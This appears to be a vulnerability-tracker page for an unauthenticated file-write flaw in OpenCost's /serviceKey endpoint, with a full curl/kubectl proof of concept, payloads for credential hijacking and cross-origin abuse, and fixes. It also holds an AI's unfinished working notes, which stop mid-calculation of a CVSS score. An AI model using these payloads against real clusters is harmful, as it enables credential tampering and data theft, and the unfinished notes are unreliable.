Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from Vendor (https://github.com/opencost/opencost) · only source for this CVE.
CVSS VectorVendor: https://github.com/opencost/opencost
Lifecycle Timeline
6DescriptionCVE.org
Summary
OpenCost contains an unauthenticated file write vulnerability in the /serviceKey endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.
---
Affected Versions
- OpenCost: All versions up to and including the latest release
- Vulnerable File:
pkg/costmodel/router.go(lines 365-379) - Vulnerable Endpoint:
POST /serviceKey
---
Vulnerability Details
Root Cause
The AddServiceKey function in pkg/costmodel/router.go accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:
func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
w.Header().Set("Content-Type", "application/json")
w.Header().Set("Access-Control-Allow-Origin", "*") // Overly permissive CORS
r.ParseForm()
key := r.PostForm.Get("key") // User-controlled input, no validation
k := []byte(key)
err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write
if err != nil {
fmt.Fprintf(w, "Error writing service key: %s", err)
}
w.WriteHeader(http.StatusOK)
}File Path Determination (core/pkg/env/core.go):
func GetGCPAuthSecretFilePath() string {
return GetPathFromConfig("key.json")
}
func GetPathFromConfig(fileName string) string {
return filepath.Join(GetConfigPath(), fileName)
}
func GetConfigPath() string {
return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs
}Security Issues
- No Authentication: Any network-accessible client can invoke the endpoint
- No Input Validation: User input is not validated as a valid GCP service account key
- Overly Permissive CORS:
Access-Control-Allow-Origin: *allows cross-origin attacks - Predictable File Path: File location controlled by
CONFIG_PATHenvironment variable
---
Proof of Concept
Environment Setup
Prerequisites
- Kubernetes cluster (tested on kind v1.30.0)
- Helm 3.x
- kubectl configured
Step 1: Create Namespace
kubectl create namespace opencostOutput:
namespace/opencost createdStep 2: Add OpenCost Helm Repository
helm repo add opencost https://opencost.github.io/opencost-helm-chart
helm repo updateOutput:
"opencost" has been added to your repositories
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "opencost" chart repository
Update Complete. Happy Helming!Step 3: Deploy OpenCost
helm install opencost opencost/opencost --namespace opencost \
--set opencost.exporter.defaultClusterId=test-cluster \
--set opencost.prometheus.internal.enabled=true \
--set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \
--set opencost.prometheus.internal.namespaceName=monitoring \
--set opencost.prometheus.internal.port=9090 \
--set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp'Key Configuration:
CONFIG_PATH=/tmp: Sets writable directory for file operations
Output:
NAME: opencost
LAST DEPLOYED: Sun Jan 18 00:39:21 2026
NAMESPACE: opencost
STATUS: deployed
REVISION: 1Step 4: Verify Deployment
kubectl get pods -l app.kubernetes.io/instance=opencost -n opencostOutput:
NAME READY STATUS RESTARTS AGE
opencost-db97bbcc-5q8cb 2/2 Running 0 44sStep 5: Verify Service Accessibility
kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \
curl -v http://opencost.opencost.svc.cluster.local:9003/healthzOutput:
< HTTP/1.1 200 OK
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:32:07 GMT
< Content-Length: 0Exploitation
Step 6: Check Initial State
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.jsonOutput:
cat: can't open '/tmp/key.json': No such file or directoryNote: File does not exist initially
Step 7: Verify CONFIG_PATH Configuration
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATHOutput:
CONFIG_PATH=/tmpNote: CONFIG_PATH correctly set to /tmp
Step 8: Execute Exploit
MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}'
kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \
curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "key=${MALICIOUS_CONTENT}" \
-vRequest Details:
> POST /serviceKey HTTP/1.1
> Host: opencost.opencost.svc.cluster.local:9003
> User-Agent: curl/8.18.0
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 244Response Details:
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Type: application/json
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:42:29 GMT
< Content-Length: 0Result: HTTP 200 OK - Request successful without authentication
Step 9: Verify File Write
kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.jsonOutput:
{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file
---
Impact Analysis
Direct Impact
| Impact Type | Severity | Description |
|---|---|---|
| Unauthorized Credential Overwrite | High | Attacker can overwrite GCP service account key file content |
| No Authentication Required | High | Vulnerability can be exploited without any credentials |
| CORS Misconfiguration | Medium | Allows cross-origin attacks via malicious websites |
| Fixed File Path | Low | Attacker cannot control write location, only content |
Attack Scenario Analysis
Scenario 1: GCP Credential Overwrite Leading to Service Disruption
Attack Steps:
- Attacker sends POST request with invalid JSON or malformed GCP key
/serviceKeyendpoint accepts request and overwrites existingkey.jsonfile- OpenCost attempts to access GCP API with corrupted credentials
- GCP integration fails, cost data collection stops
Technical Details:
# Attack payload example
curl -X POST http://opencost:9003/serviceKey \
-d 'key={"invalid":"json","corrupted":"credentials"}'Impact:
- Cost Monitoring Disruption: Unable to retrieve GCP cloud cost data
- Operational Impact: FinOps processes dependent on cost data are blocked
- Availability Degradation: Manual intervention required to restore correct credentials
CVSS Impact Score: Availability impact is Low (A:L)
---
Scenario 2: Malicious Credential Injection for Data Hijacking
Attack Steps:
- Attacker creates their own GCP project and service account
- Injects attacker-controlled valid GCP credentials into OpenCost
- OpenCost uses attacker's credentials to send requests to GCP Billing API
- Target organization's cost data is sent to attacker's GCP project
Technical Details:
# Inject attacker credentials
ATTACKER_KEY='{
"type": "service_account",
"project_id": "attacker-billing-project",
"private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
"client_email": "opencost-hijack@attacker-project.iam.gserviceaccount.com"
}'
curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}"Impact:
- Sensitive Data Leakage: Organization's cloud resource usage patterns and cost details
- Business Intelligence Leakage: Can infer business scale, growth trends, technology stack
- Compliance Risk: Cost data may contain protected business information
Data Leakage Examples:
- Kubernetes cluster size and node configuration
- Resource consumption per namespace (can map to business units)
- Cloud service usage patterns (databases, storage, compute instance types)
- Cost trends (can infer business growth or contraction)
CVSS Impact Score: Confidentiality impact is None (C:N), but business impact is High
---
Scenario 3: Cross-Origin Attack (CORS Exploitation)
Attack Steps:
- User visits attacker-controlled malicious website
- Malicious JavaScript sends POST request to
http://localhost:9003/serviceKey - Due to CORS set to
*, browser allows cross-origin request - User's browser acts as proxy to execute credential overwrite attack
Prerequisites:
- User exposes OpenCost service via
kubectl port-forwardor other means - User's browser can access OpenCost endpoint
Technical Details:
// JavaScript on malicious website
fetch('http://localhost:9003/serviceKey', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'key={"type":"malicious"}'
});Impact:
- User-Unaware Attack: No active user interaction required
- Difficult to Trace: Attack originates from victim's IP address
- Limited Exploitation Conditions: Requires OpenCost exposed to user-accessible network
---
Vulnerability Limitations
What Attacker Cannot Control:
- File Write Path: Fixed by
CONFIG_PATHenvironment variable, attacker cannot modify - File Name: Fixed as
key.json, cannot write to other files - File Permissions: Write permission is
0644, attacker cannot escalate
Actual Attack Capabilities:
- File Content Control: Complete control over
key.jsoncontent - Unauthenticated Exploitation: No credentials required to trigger
- Remote Accessibility: Can be exploited over network (if service exposed)
---
Real-World Impact Assessment
| Deployment Scenario | Risk Level | Description |
|---|---|---|
| Cluster-Internal Only | Medium | Requires attacker to have cluster network access |
| Exposed via Ingress | High | Any internet user can exploit |
| Exposed via NodePort | High | Attackers with node network access can exploit |
| Via port-forward | Medium-High | Local dev environments vulnerable to CORS attacks |
Recommended Risk Rating:
- Default deployment (cluster-internal): Medium
- Improperly exposed (public internet): High
---
Remediation
Immediate Actions (P0)
1. Add Authentication
func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
// Add authentication check
if !a.isAuthorized(r) {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// ... existing logic
}2. Implement Input Validation
func validateServiceKey(key string) error {
var keyData map[string]interface{}
if err := json.Unmarshal([]byte(key), &keyData); err != nil {
return fmt.Errorf("invalid JSON format")
}
requiredFields := []string{"type", "project_id", "private_key_id", "private_key"}
for _, field := range requiredFields {
if _, ok := keyData[field]; !ok {
return fmt.Errorf("missing required field: %s", field)
}
}
if keyData["type"] != "service_account" {
return fmt.Errorf("invalid key type")
}
return nil
}3. Restrict CORS
w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN"))Long-term Solutions (P1)
- Use Kubernetes Secrets: Store credentials in Kubernetes Secrets instead of files
- Implement RBAC: Role-based access control for sensitive operations
- Add Audit Logging: Log all file write operations
- Apply Least Privilege: Minimize ClusterRole permissions
---
Workarounds
Until a patch is available, implement these mitigations:
- Network Segmentation: Restrict access to OpenCost service using NetworkPolicies
- Disable Endpoint: Remove or disable the
/serviceKeyendpoint if not required - Monitor File Changes: Alert on modifications to
key.jsonfile - Use Read-only Filesystem: Mount config directory as read-only where possible
---
References
- Vulnerable Code:
pkg/costmodel/router.go:365-379 - Environment Configuration:
core/pkg/env/core.go - OWASP: Broken Access Control
- CWE-306: Missing Authentication for Critical Function
- CWE-20: Improper Input Validation
Articles & Coverage 1
AnalysisAI
Let me synthesize all data.
CVE-2026-44300 — OpenCost /serviceKey unauthenticated file write.
Product name: OpenCost
CVSS 8.8 given, vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/...
CWE-20 (Improper Input Validation) but also CWE-306 mentioned in the description.
Patch: Available from vendor; fixed in 1.119.1 per CPE data. Wait, the references mention releases v1.120.0 and v1.121.0, but the "Package" line says vulnerable: < 1.119.1 — fixed in: 1.119.1. Hmm, conflicting. I should note this in confidence_notes. Actually the fix commit introduces adminAuthMiddleware requiring ADMIN_TOKEN. The releases listed (v1.120.0, v1.121.0) are refs. The package data says fixed in 1.119.1. I'll present both and flag the discrepancy.
Note the patch only adds auth when ADMIN_TOKEN is set; when unset it still allows unauthenticated writes with a warning. That's an important nuance — remediation must note that ADMIN_TOKEN must be configured.
Let me write fields.
prevalence: OpenCost is a widely used CNCF incubating project for Kubernetes cost monitoring — medium/high. It's popular in k8s cost monitoring but not ubiquitous. I'd say "medium" — common but not everywhere. Given it's a CNCF sandbox/incubating project with significant adoption in FinOps, "medium" seems right.
assessed_cvss_vector: The vulnerability is network-reachable, no auth required (PR:N), low complexity (AC:L), no UI. Impact: VI:H (attacker can overwrite the key file — integrity), VA:H (service disruption). Confidentiality: description claims credential theft / data leakage but the direct impact per the vendor-ish analysis says C:N. Well, injecting attacker credentials could leak cost data to the attacker. Hmm. Original vector says VC:N. But actually credential theft — the attacker can't read the existing key file. So C:N. Let me go with: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H = 8.2? Let's compute: AV:N/AC:L/PR:N/UI:N = base 9.8-ish for C:H/I:H/A:H. With C:N, I:H, A:H → score. Let me compute:
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can
Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass
Same weakness CWE-20 – Improper Input Validation
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-78874
GHSA-wmj8-9953-vff5